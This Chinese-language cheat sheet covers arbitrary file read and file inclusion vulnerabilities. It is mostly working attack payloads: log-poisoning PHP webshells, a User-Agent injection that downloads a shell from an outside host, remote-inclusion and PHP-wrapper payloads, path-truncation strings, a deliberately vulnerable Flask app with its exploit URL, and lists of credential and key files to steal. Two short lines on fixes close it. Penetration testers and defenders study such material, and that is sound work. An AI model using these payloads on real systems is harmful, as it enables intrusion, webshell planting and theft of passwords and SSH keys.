一、文件读取漏洞概述

1.1 文件读取漏洞简介

Web应用因为需求，往往需要提供文件下载或者文件读取功能，但是对下载或读取的文件没有进行限制，导致直接通过绝对路径对任意文件进行下载和读取。

1.2 文件读取漏洞检测

1.2.1 PHP文件读取

- 命令执行

```
# apache日志文件
curl http://127.0.0.1/index.php?id=<?php phpinfo();?>
http://127.0.0.1/index.php?filename=/etc/httpd/logs/access_log%00

# ssh日志文件
ssh '<?php system($_GET['c']); ?>'@192.168.0.107
http://192.168.0.107/lfi.php?file=/var/log/auth.log&c=ls

# 环境变量
User-Agent:<?system('wget http://www.chaos.com/shell.txt -O shell.php');?>
filename=../../../../../../../../../../proc/self/environ

# 远程文件
filename=http://192.168.1.11/php.txt?
filename=http://192.168.1.11/php.txt%23
filename=http://192.168.1.11/php.txt%20
filename=\\192.168.1.11\php.txt
```

- 伪协议

```
filename=php://filter/read=convert.base64-encode/resource=upload.php
filename=file:///var/www/html/flag.php

filename==php://input

filename=zip://shell.zip%23shell.txt
filename=compress.bzip2://D:/soft/phpStudy/WWW/shell.jpg
filename=compress.zlib://./shell.jpg

filename=data:text/plain,<?php phpinfo()?>
filename=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

expect://whoami
```

二、文件读取漏洞代码审计

2.1 Python文件读取

2.1.1 漏洞代码

```
# -*- coding: utf-8 -*-

from selenium import webdriver
from selenium.webdriver.chrome.options import Options

from flask import Flask, request, send_file
app = Flask(__name__)

def get_image(url, pic_name, driver_path):
    chrome_options = Options()
    chrome_options.add_argument('headless')
    driver = webdriver.Chrome(executable_path=driver_path, chrome_options =
chrome_options)
    driver.get(url)
    driver.save_screenshot(pic_name)
    driver.close()

@app.route("/", methods=['GET','POST'])
def index():
    driver_path = 'chromedriver.exe'
    url = request.args.get('url')
    get_image(url, 'image.png', driver_path)
    return send_file('image.png', mimetype='image/gif')

if __name__ == '__main__':

    app.run(debug = True)
```

2.1.2 漏洞利用

```
http://127.0.0.1:5000/?url=c:\windows\win.ini
```

2.2 Bypass技巧

2.2.1 链接文件

```
ln -s /etc/passwd test_link
7za a test.7z test_link
```

2.2.2 文件长度

- Windows (Windows下目录最大长度为256字节，超出的部分会被丢弃)

```
filename=test.txt/././././././././././././././././././././././././././././././././
././././././././././././././././././././././././././././././././././././././././
././././././././././././././././././././././././././././././././././././././././
././././././././././././././././././././././././././././././././././././././././
././././././././././././././././././././././././././././././././././././././././
././././././././././././././././././././././././././././././././././././././././
././././././././././././././././././././././././././././././././././././././././
././././././././././././././././././././././././././././././././././././././././
.//././././././././././././././././//./././././././././././././././././././././././.
/././././././././././././././././././././././././././././././././././././././././.
/././././././././././././././././././././././././././././././././././././././././.
/././././././././././././././././././././././././././././././././././././././././.
/././././././././././././././././././././././././././././././././././././././././.
/././././././/./././././././././././././././././././././././././././././././././
././././././././././././././././././././././././././././././././././././././././
././././././././././././././././././././././././././././././././././././././././
././././././././././././././././././././././././././././././././././././././././
././././././././././././././././././././././././././././././././././././/./././.
/././././././././././././././././././././././././././././././././././././././././.
/././././././././././././././././././././././././././././././././././././././././.
/././././././././././././././././././././././././././././././././././././././././.
/././././././././././././././././././././././././././././././././././././././././.
/././././././././././././././././././././././././/./././././././././././././././
././././././././././././././././././././././././././././././././././././././././
././././././././././././././././././././././././././././././././././././././././
./././././././././././
```

- Linux(Linux下目录最大长度为4096字节，超出的部分会被丢弃)

```
filename=test.txt...............................................................
................................................................................
................................................................................
................................................................................
................................................................................
................................................................................
................................................................................
................................................................................
................................................................................
................................................................................
................................................................................
................................................................................
................................................................................
................................................................................
................................................................................
..................................
```

2.2.3 proc文件系统

```
/proc/sched_debug   # 进程信息
/proc/net/arp   # arp表
/proc/net/udp   # 活动连接信息
/proc/net/tcp
/proc/[PID]/cmdline # 可获取路径和文件名
/proc/self/environ  # 当前进程环境变量
/proc/self/exe  # 当前进程可执行文件
/proc/self/cmdline  # 当前进程完整命令
/proc/self/cwd  # 当前文件内容
/proc/self/maps # 当前进程关联的库文件
```

2.2.4 敏感文件

```
/etc/passwd # 用户账号
/etc/shadow # 用户密码
/root/.bash_history # 操作记录
/usr/local/tomcat/conf/tomcat-users.xml # tomcat 用户配置文件
/root/.viminfo  # vim信息
/root/.ssh/id_rsa   # ssh私钥
```

三、文件读取漏洞修复

3.1 判断输入的路径

文件路径存放在数据库中并创建哈希一一对应，避免输入绝对路径。

3.2 文件权限校验

读取的文件进行权限校验，避免访问其他用户文件。